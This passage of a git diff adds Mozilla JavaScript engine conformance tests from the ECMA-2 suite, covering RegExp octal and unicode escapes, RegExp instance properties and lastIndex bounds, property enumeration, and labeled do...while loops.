+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ regexp.exec(pattern).toString() );
+/*
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+*/
+}
diff --git a/js/src/tests/ecma_2/RegExp/octal-003.js b/js/src/tests/ecma_2/RegExp/octal-003.js
new file mode 100644
index 000000000..a73d7d40e
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/octal-003.js
@@ -0,0 +1,87 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/octal-003.js
+ * ECMA Section: 15.7.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Simple test cases for matching OctalEscapeSequences.
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ *
+ * Revised: 02 August 2002
+ * Author: pschwartau@netscape.com
+ *
+ * WHY: the original test expected the regexp /.\011/
+ * to match 'a' + String.fromCharCode(0) + '11'
+ *
+ * This is incorrect: the string is a 4-character string consisting of
+ * the characters <'a'>, <nul>, <'1'>, <'1'>. By contrast, the \011 in the
+ * regexp should be parsed as a single token: it is the octal escape sequence
+ * for the horizontal tab character '\t' === '\u0009' === '\x09' === '\011'.
+ *
+ * So the regexp consists of 2 characters: <any-character>, <'\t'>.
+ * There is no match between the regexp and the string.
+ *
+ * See the testcase ecma_3/RegExp/octal-002.js for an elaboration.
+ *
+ */
+var SECTION = "RegExp/octal-003.js";
+var VERSION = "ECMA_2";
+var TITLE = "RegExp patterns that contain OctalEscapeSequences";
+var BUGNUMBER="http://scopus/bugsplat/show_bug.cgi?id=346132";
+
+startTest();
+
+AddRegExpCases( /.\011/, "/\\011/", "a" + String.fromCharCode(0) + "11", "a\\011", 0, null );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, index, matches_array ) {
+
+ // prevent a runtime error
+
+ if ( regexp.exec(pattern) == null || matches_array == null ) {
+ AddTestCase(
+ regexp + ".exec(" + str_pattern +")",
+ matches_array,
+ regexp.exec(pattern) );
+
+ return;
+ }
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").length",
+ matches_array.length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").input",
+ escape(pattern),
+ escape(regexp.exec(pattern).input) );
+
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +").toString()",
+ matches_array.toString(),
+ escape(regexp.exec(pattern).toString()) );
+
+ var limit = matches_array.length > regexp.exec(pattern).length
+ ? matches_array.length
+ : regexp.exec(pattern).length;
+
+ for ( var matches = 0; matches < limit; matches++ ) {
+ AddTestCase(
+ str_regexp + ".exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ escape(regexp.exec(pattern)[matches]) );
+ }
+
+}
diff --git a/js/src/tests/ecma_2/RegExp/properties-001.js b/js/src/tests/ecma_2/RegExp/properties-001.js
new file mode 100644
index 000000000..b0ee18e20
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/properties-001.js
@@ -0,0 +1,91 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/properties-001.js
+ * ECMA Section: 15.7.6.js
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/properties-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "Properties of RegExp Instances";
+var BUGNUMBER ="";
+
+startTest();
+
+AddRegExpCases( new RegExp, "(?:)", false, false, false, 0 );
+AddRegExpCases( /.*/, ".*", false, false, false, 0 );
+AddRegExpCases( /[\d]{5}/g, "[\\d]{5}", true, false, false, 0 );
+AddRegExpCases( /[\S]?$/i, "[\\S]?$", false, true, false, 0 );
+AddRegExpCases( /^([a-z]*)[^\w\s\f\n\r]+/m, "^([a-z]*)[^\\w\\s\\f\\n\\r]+", false, false, true, 0 );
+AddRegExpCases( /[\D]{1,5}[\ -][\d]/gi, "[\\D]{1,5}[\\ -][\\d]", true, true, false, 0 );
+AddRegExpCases( /[a-zA-Z0-9]*/gm, "[a-zA-Z0-9]*", true, false, true, 0 );
+AddRegExpCases( /x|y|z/gim, "x|y|z", true, true, true, 0 );
+
+AddRegExpCases( /\u0051/im, "\\u0051", false, true, true, 0 );
+AddRegExpCases( /\x45/gm, "\\x45", true, false, true, 0 );
+AddRegExpCases( /\097/gi, "\\097", true, true, false, 0 );
+
+test();
+
+function AddRegExpCases( re, s, g, i, m, l ) {
+
+ AddTestCase( re + ".test == RegExp.prototype.test",
+ true,
+ re.test == RegExp.prototype.test );
+
+ AddTestCase( re + ".toString == RegExp.prototype.toString",
+ true,
+ re.toString == RegExp.prototype.toString );
+
+ AddTestCase( re + ".contructor == RegExp.prototype.constructor",
+ true,
+ re.constructor == RegExp.prototype.constructor );
+
+ AddTestCase( re + ".compile == RegExp.prototype.compile",
+ true,
+ re.compile == RegExp.prototype.compile );
+
+ AddTestCase( re + ".exec == RegExp.prototype.exec",
+ true,
+ re.exec == RegExp.prototype.exec );
+
+ // properties
+
+ AddTestCase( re + ".source",
+ s,
+ re.source );
+
+/*
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=225550 changed
+ * the behavior of toString() and toSource() on empty regexps.
+ * So branch if |s| is the empty string -
+ */
+ var S = s? s : '(?:)';
+
+ AddTestCase( re + ".toString()",
+ "/" + S +"/" + (g?"g":"") + (i?"i":"") +(m?"m":""),
+ re.toString() );
+
+ AddTestCase( re + ".global",
+ g,
+ re.global );
+
+ AddTestCase( re + ".ignoreCase",
+ i,
+ re.ignoreCase );
+
+ AddTestCase( re + ".multiline",
+ m,
+ re.multiline);
+
+ AddTestCase( re + ".lastIndex",
+ l,
+ re.lastIndex );
+}
diff --git a/js/src/tests/ecma_2/RegExp/properties-002.js b/js/src/tests/ecma_2/RegExp/properties-002.js
new file mode 100644
index 000000000..330fe4bd5
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/properties-002.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/properties-002.js
+ * ECMA Section: 15.7.6.js
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+//-----------------------------------------------------------------------------
+var SECTION = "RegExp/properties-002.js";
+var VERSION = "ECMA_2";
+var TITLE = "Properties of RegExp Instances";
+var BUGNUMBER ="124339";
+
+startTest();
+
+re_1 = /\cA?/g;
+re_1.lastIndex = Math.pow(2,31);
+AddRegExpCases( re_1, "\\cA?", true, false, false, Math.pow(2,31) );
+
+re_2 = /\w*/i;
+re_2.lastIndex = Math.pow(2,32) -1;
+AddRegExpCases( re_2, "\\w*", false, true, false, Math.pow(2,32)-1 );
+
+re_3 = /\*{0,80}/m;
+re_3.lastIndex = Math.pow(2,31) -1;
+AddRegExpCases( re_3, "\\*{0,80}", false, false, true, Math.pow(2,31) -1 );
+
+re_4 = /^./gim;
+re_4.lastIndex = Math.pow(2,30) -1;
+AddRegExpCases( re_4, "^.", true, true, true, Math.pow(2,30) -1 );
+
+re_5 = /\B/;
+re_5.lastIndex = Math.pow(2,30);
+AddRegExpCases( re_5, "\\B", false, false, false, Math.pow(2,30) );
+
+/*
+ * Brendan: "need to test cases Math.pow(2,32) and greater to see
+ * whether they round-trip." Reason: thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, lastIndex
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ *
+ */
+re_6 = /\B/;
+re_6.lastIndex = Math.pow(2,32);
+AddRegExpCases( re_6, "\\B", false, false, false, Math.pow(2,32) );
+
+re_7 = /\B/;
+re_7.lastIndex = Math.pow(2,32) + 1;
+AddRegExpCases( re_7, "\\B", false, false, false, Math.pow(2,32) + 1 );
+
+re_8 = /\B/;
+re_8.lastIndex = Math.pow(2,32) * 2;
+AddRegExpCases( re_8, "\\B", false, false, false, Math.pow(2,32) * 2 );
+
+re_9 = /\B/;
+re_9.lastIndex = Math.pow(2,40);
+AddRegExpCases( re_9, "\\B", false, false, false, Math.pow(2,40) );
+
+re_10 = /\B/;
+re_10.lastIndex = Number.MAX_VALUE;
+AddRegExpCases( re_10, "\\B", false, false, false, Number.MAX_VALUE );
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function AddRegExpCases( re, s, g, i, m, l ){
+
+ AddTestCase( re + ".test == RegExp.prototype.test",
+ true,
+ re.test == RegExp.prototype.test );
+
+ AddTestCase( re + ".toString == RegExp.prototype.toString",
+ true,
+ re.toString == RegExp.prototype.toString );
+
+ AddTestCase( re + ".contructor == RegExp.prototype.constructor",
+ true,
+ re.constructor == RegExp.prototype.constructor );
+
+ AddTestCase( re + ".compile == RegExp.prototype.compile",
+ true,
+ re.compile == RegExp.prototype.compile );
+
+ AddTestCase( re + ".exec == RegExp.prototype.exec",
+ true,
+ re.exec == RegExp.prototype.exec );
+
+ // properties
+
+ AddTestCase( re + ".source",
+ s,
+ re.source );
+
+ AddTestCase( re + ".toString()",
+ "/" + s +"/" + (g?"g":"") + (i?"i":"") +(m?"m":""),
+ re.toString() );
+
+ AddTestCase( re + ".global",
+ g,
+ re.global );
+
+ AddTestCase( re + ".ignoreCase",
+ i,
+ re.ignoreCase );
+
+ AddTestCase( re + ".multiline",
+ m,
+ re.multiline);
+
+ AddTestCase( re + ".lastIndex",
+ l,
+ re.lastIndex );
+}
diff --git a/js/src/tests/ecma_2/RegExp/regexp-enumerate-001.js b/js/src/tests/ecma_2/RegExp/regexp-enumerate-001.js
new file mode 100644
index 000000000..d1f3f213e
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/regexp-enumerate-001.js
@@ -0,0 +1,88 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: regexp-enumerate-001.js
+ ECMA V2 Section:
+ Description: Regression Test.
+
+ If instance Native Object have properties that are enumerable,
+ JavaScript enumerated through the properties twice. This only
+ happened if objects had been instantiated, but their properties
+ had not been enumerated. ie, the object inherited properties
+ from its prototype that are enumerated.
+
+ In the core JavaScript, this is only a problem with RegExp
+ objects, since the inherited properties of most core JavaScript
+ objects are not enumerated.
+
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 12 November 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155291
+ ECMA-262 Ed.3 Sections 15.10.7.1 through 15.10.7.5
+ RegExp properties should be DontEnum
+ *
+ */
+// onerror = err;
+
+var SECTION = "regexp-enumerate-001";
+var VERSION = "ECMA_2";
+var TITLE = "Regression Test for Enumerating Properties";
+
+var BUGNUMBER="339403";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+/*
+ * This test expects RegExp instances to have four enumerated properties:
+ * source, global, ignoreCase, and lastIndex
+ *
+ * 99.01.25: now they also have a multiLine instance property.
+ *
+ */
+
+
+var r = new RegExp();
+
+var e = new Array();
+
+var t = new TestRegExp();
+
+for ( p in r ) { e[e.length] = { property:p, value:r[p] }; t.addProperty( p, r[p]) };
+
+new TestCase( SECTION,
+ "r = new RegExp(); e = new Array(); "+
+ "for ( p in r ) { e[e.length] = { property:p, value:r[p] }; e.length",
+ 0,
+ e.length );
+
+test();
+
+function TestRegExp() {
+ this.addProperty = addProperty;
+}
+function addProperty(name, value) {
+ var pass = false;
+
+ if ( eval("this."+name) != void 0 ) {
+ pass = true;
+ } else {
+ eval( "this."+ name+" = "+ false );
+ }
+
+ new TestCase( SECTION,
+ "Property: " + name +" already enumerated?",
+ false,
+ pass );
+
+ if ( gTestcases[ gTestcases.length-1].passed == false ) {
+ gTestcases[gTestcases.length-1].reason = "property already enumerated";
+
+ }
+
+}
diff --git a/js/src/tests/ecma_2/RegExp/regress-001.js b/js/src/tests/ecma_2/RegExp/regress-001.js
new file mode 100644
index 000000000..9282cd806
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/regress-001.js
@@ -0,0 +1,45 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/regress-001.js
+ * ECMA Section: N/A
+ * Description: Regression test case:
+ * JS regexp anchoring on empty match bug
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=2157
+ *
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/hex-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "JS regexp anchoring on empty match bug";
+var BUGNUMBER = "2157";
+
+startTest();
+
+AddRegExpCases( /a||b/.exec(''),
+ "/a||b/.exec('')",
+ 1,
+ [''] );
+
+test();
+
+function AddRegExpCases( regexp, str_regexp, length, matches_array ) {
+
+ AddTestCase(
+ "( " + str_regexp + " ).length",
+ regexp.length,
+ regexp.length );
+
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ "( " + str_regexp + " )[" + matches +"]",
+ matches_array[matches],
+ regexp[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/RegExp/shell.js b/js/src/tests/ecma_2/RegExp/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/shell.js
diff --git a/js/src/tests/ecma_2/RegExp/unicode-001.js b/js/src/tests/ecma_2/RegExp/unicode-001.js
new file mode 100644
index 000000000..ab6fbd372
--- /dev/null
+++ b/js/src/tests/ecma_2/RegExp/unicode-001.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: RegExp/unicode-001.js
+ * ECMA Section: 15.7.3.1
+ * Description: Based on ECMA 2 Draft 7 February 1999
+ * Positive test cases for constructing a RegExp object
+ * Author: christine@netscape.com
+ * Date: 19 February 1999
+ */
+var SECTION = "RegExp/unicode-001.js";
+var VERSION = "ECMA_2";
+var TITLE = "new RegExp( pattern, flags )";
+
+startTest();
+
+// These examples come from 15.7.1, UnicodeEscapeSequence
+
+AddRegExpCases( /\u0041/, "/\\u0041/", "A", "A", 1, 0, ["A"] );
+AddRegExpCases( /\u00412/, "/\\u00412/", "A2", "A2", 1, 0, ["A2"] );
+AddRegExpCases( /\u00412/, "/\\u00412/", "A2", "A2", 1, 0, ["A2"] );
+AddRegExpCases( /\u001g/, "/\\u001g/", "u001g", "u001g", 1, 0, ["u001g"] );
+
+AddRegExpCases( /A/, "/A/", "\u0041", "\\u0041", 1, 0, ["A"] );
+AddRegExpCases( /A/, "/A/", "\u00412", "\\u00412", 1, 0, ["A"] );
+AddRegExpCases( /A2/, "/A2/", "\u00412", "\\u00412", 1, 0, ["A2"]);
+AddRegExpCases( /A/, "/A/", "A2", "A2", 1, 0, ["A"] );
+
+test();
+
+function AddRegExpCases(
+ regexp, str_regexp, pattern, str_pattern, length, index, matches_array ) {
+
+ AddTestCase(
+ str_regexp + " .exec(" + str_pattern +").length",
+ length,
+ regexp.exec(pattern).length );
+
+ AddTestCase(
+ str_regexp + " .exec(" + str_pattern +").index",
+ index,
+ regexp.exec(pattern).index );
+
+ AddTestCase(
+ str_regexp + " .exec(" + str_pattern +").input",
+ pattern,
+ regexp.exec(pattern).input );
+
+ for ( var matches = 0; matches < matches_array.length; matches++ ) {
+ AddTestCase(
+ str_regexp + " .exec(" + str_pattern +")[" + matches +"]",
+ matches_array[matches],
+ regexp.exec(pattern)[matches] );
+ }
+}
diff --git a/js/src/tests/ecma_2/Statements/browser.js b/js/src/tests/ecma_2/Statements/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/browser.js
diff --git a/js/src/tests/ecma_2/Statements/dowhile-001.js b/js/src/tests/ecma_2/Statements/dowhile-001.js
new file mode 100644
index 000000000..d9a7a033d
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-001.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-001
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "dowhile-002";
+var VERSION = "ECMA_2";
+var TITLE = "do...while with a labeled continue statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+LabeledContinue( 0, 1 );
+LabeledContinue( 1, 1 );
+LabeledContinue( -1, 1 );
+LabeledContinue( 5, 5 );
+
+test();
+
+function LabeledContinue( limit, expect ) {
+ i = 0;
+woohoo:
+ do {
+ i++;
+ continue woohoo;
+ } while ( i < limit );
+
+ new TestCase(
+ SECTION,
+ "do while ( " + i +" < " + limit +" )",
+ expect,
+ i );
+}
diff --git a/js/src/tests/ecma_2/Statements/dowhile-002.js b/js/src/tests/ecma_2/Statements/dowhile-002.js
new file mode 100644
index 000000000..e25557e70
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-002.js
@@ -0,0 +1,71 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-002
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ * Verify that code after a labeled break is not executed. Verify that
+ * a labeled break breaks you out of the whole labeled block, and not
+ * just the current iteration statement.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "dowhile-002";
+var VERSION = "ECMA_2";
+var TITLE = "do...while with a labeled continue statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+LabeledContinue( 0, 1 );
+LabeledContinue( 1, 1 );
+LabeledContinue( -1, 1 );
+LabeledContinue( 5, 5 );
+
+test();
+
+// The labeled statement contains statements after the labeled break.
+// Verify that the statements after the break are not executed.
+
+function LabeledContinue( limit, expect ) {
+ i = 0;
+ result1 = "pass";
+ result2 = "pass";
+
+woohoo: {
+ do {
+ i++;
+ if ( ! (i < limit) ) {
+ break woohoo;
+ result1 = "fail: evaluated statement after a labeled break";
+ }
+ } while ( true );
+
+ result2 = "failed: broke out of loop, but not out of labeled block";
+ }
+
+ new TestCase(
+ SECTION,
+ "do while ( " + i +" < " + limit +" )",
+ expect,
+ i );
+
+ new TestCase(
+ SECTION,
+ "breaking out of a do... while loop",
+ "pass",
+ result1 );
+
+
+ new TestCase(
+ SECTION,
+ "breaking out of a labeled do...while loop",
+ "pass",
+ result2 );
+}
diff --git a/js/src/tests/ecma_2/Statements/dowhile-003.js b/js/src/tests/ecma_2/Statements/dowhile-003.js
new file mode 100644
index 000000000..b482823e1
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-003.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-003
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ * Test do while, when the while expression is a JavaScript Number object.
+ *
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "dowhile-003";
+var VERSION = "ECMA_2";
+var TITLE = "do...while with a labeled continue statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile( new DoWhileObject( 1, 1, 0 ));
+DoWhile( new DoWhileObject( 1000, 1000, 0 ));
+DoWhile( new DoWhileObject( 1001, 1001, 0 ));
+DoWhile( new DoWhileObject( 1002, 1001, 1 ));
+DoWhile( new DoWhileObject( -1, 1001, -1002 ));
+
+test();
+
+function DoWhileObject( value, iterations, endvalue ) {
+ this.value = value;
+ this.iterations = iterations;
+ this.endvalue = endvalue;
+}
+
+function DoWhile( object ) {
+ var i = 0;
+
+ do {
+ object.value = --object.value;
+ i++;
+ if ( i > 1000 )
+ break;
+ } while( object.value );
+
+ new TestCase(
+ SECTION,
+ "loop iterations",
+ object.iterations,
+ i
+ );
+
+ new TestCase(
+ SECTION,
+ "object.value",
+ object.endvalue,
+ Number( object.value )
+ );
+
+}
diff --git a/js/src/tests/ecma_2/Statements/dowhile-004.js b/js/src/tests/ecma_2/Statements/dowhile-004.js
new file mode 100644
index 000000000..90e376fde
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-004.js
@@ -0,0 +1,67 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-004
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ * Test a labeled do...while. Break out of the loop with no label
+ * should break out of the loop, but not out of the label.
+ *
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "dowhile-004";
+var VERSION = "ECMA_2";
+var TITLE = "do...while with a labeled continue statement";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile( 0, 1 );
+DoWhile( 1, 1 );
+DoWhile( -1, 1 );
+DoWhile( 5, 5 );
+
+test();
+
+function DoWhile( limit, expect ) {
+ i = 0;
+ result1 = "pass";
+ result2 = "failed: broke out of labeled statement unexpectedly";
+
+foo: {
+ do {
+ i++;
+ if ( ! (i < limit) ) {
+ break;
+ result1 = "fail: evaluated statement after a labeled break";
+ }
+ } while ( true );
+
+ result2 = "pass";
+ }
+
+ new TestCase(
+ SECTION,
+ "do while ( " + i +" < " + limit +" )",
+ expect,
+ i );
+
+ new TestCase(
+ SECTION,
+ "breaking out of a do... while loop",
+ "pass",
+ result1 );
+
+
+ new TestCase(
+ SECTION,
+ "breaking out of a labeled do...while loop",
+ "pass",
+ result2 );
+}
diff --git a/js/src/tests/ecma_2/Statements/dowhile-005.js b/js/src/tests/ecma_2/Statements/dowhile-005.js
new file mode 100644
index 000000000..3c339f493
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-005.js
@@ -0,0 +1,73 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-005
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ * Test a labeled do...while. Break out of the loop with no label
+ * should break out of the loop, but not out of the label.
+ *
+ * Currently causes an infinite loop in the monkey. Uncomment the
+ * print statement below and it works OK.
+ *
+ * Author: christine@netscape.com
+ * Date: 26 August 1998
+ */
+var SECTION = "dowhile-005";
+var VERSION = "ECMA_2";
+var TITLE = "do...while with a labeled continue statement";
+var BUGNUMBER = "316293";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+NestedLabel();
+
+
+test();
+
+function NestedLabel() {
+ i = 0;
+ result1 = "pass";
+ result2 = "fail: did not hit code after inner loop";
+ result3 = "pass";
+
+outer: {
+ do {
+ inner: {
+// print( i );
+ break inner;
+ result1 = "fail: did break out of inner label";
+ }
+ result2 = "pass";
+ break outer;
+ print(i);
+ } while ( i++ < 100 );
+
+ }
+
+ result3 = "fail: did not break out of outer label";
+
+ new TestCase(
+ SECTION,
+ "number of loop iterations",
+ 0,
+ i );
+
+ new TestCase(
+ SECTION,
+ "break out of inner loop",
+ "pass",
+ result1 );
+
+ new TestCase(
+ SECTION,
+ "break out of outer loop",
+ "pass",
+ result2 );
+}
diff --git a/js/src/tests/ecma_2/Statements/dowhile-006.js b/js/src/tests/ecma_2/Statements/dowhile-006.js
new file mode 100644
index 000000000..0a1aa701a
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-006.js
@@ -0,0 +1,89 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-006
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ * A general do...while test.
+ *
+ * Author: christine@netscape.com
+ * Date: 26 August 1998
+ */
+var SECTION = "dowhile-006";
+var VERSION = "ECMA_2";
+var TITLE = "do...while";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile( new DoWhileObject( false, false, 10 ) );
+DoWhile( new DoWhileObject( true, false, 2 ) );
+DoWhile( new DoWhileObject( false, true, 3 ) );
+DoWhile( new DoWhileObject( true, true, 4 ) );
+
+test();
+
+function looping( object ) {
+ object.iterations--;
+
+ if ( object.iterations <= 0 ) {
+ return false;
+ } else {
+ return true;
+ }
+}
+function DoWhileObject( breakOut, breakIn, iterations, loops ) {
+ this.iterations = iterations;
+ this.loops = loops;
+ this.breakOut = breakOut;
+ this.breakIn = breakIn;
+ this.looping = looping;
+}
+function DoWhile( object ) {
+ var result1 = false;
+ var result2 = false;
+
+outie: {
+ innie: {
+ do {
+ if ( object.breakOut )
+ break outie;
+
+ if ( object.breakIn )
+ break innie;
+
+ } while ( looping(object) );
+
+ // statements should be executed if:
+ // do...while exits normally
+ // do...while exits abruptly with no label
+
+ result1 = true;
+
+ }
+
+// statements should be executed if:
+// do...while breaks out with label "innie"
+// do...while exits normally
+// do...while does not break out with "outie"
+
+ result2 = true;
+ }
+
+ new TestCase(
+ SECTION,
+ "hit code after loop in inner loop",
+ ( object.breakIn || object.breakOut ) ? false : true ,
+ result1 );
+
+ new TestCase(
+ SECTION,
+ "hit code after loop in outer loop",
+ ( object.breakOut ) ? false : true,
+ result2 );
+}
diff --git a/js/src/tests/ecma_2/Statements/dowhile-007.js b/js/src/tests/ecma_2/Statements/dowhile-007.js
new file mode 100644
index 000000000..44adbcafd
--- /dev/null
+++ b/js/src/tests/ecma_2/Statements/dowhile-007.js
@@ -0,0 +1,97 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: dowhile-007
+ * ECMA Section:
+ * Description: do...while statements
+ *
+ * A general do...while test.
+ *
+ * Author: christine@netscape.com
+ * Date: 26 August 1998
+ */
+var SECTION = "dowhile-007";
+var VERSION = "ECMA_2";
+var TITLE = "do...while";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DoWhile( new DoWhileObject( false, false, false, false ));
+DoWhile( new DoWhileObject( true, false, false, false ));
+DoWhile( new DoWhileObject( true, true, false, false ));
+DoWhile( new DoWhileObject( true, true, true, false ));
+DoWhile( new DoWhileObject( true, true, true, true ));
+DoWhile( new DoWhileObject( false, false, false, true ));
+DoWhile( new DoWhileObject( false, false, true, true ));
+DoWhile( new DoWhileObject( false, true, true, true ));
+DoWhile( new DoWhileObject( false, false, true, false ));
+
+test();
+
+function DoWhileObject( out1, out2, out3, in1 ) {
+ this.breakOutOne = out1;
+ this.breakOutTwo = out2;
+ this.breakOutThree = out3;
+ this.breakIn = in1;
+}
+function DoWhile( object ) {
+ result1 = false;
+ result2 = false;
+ result3 = false;
+ result4 = false;
+
+outie:
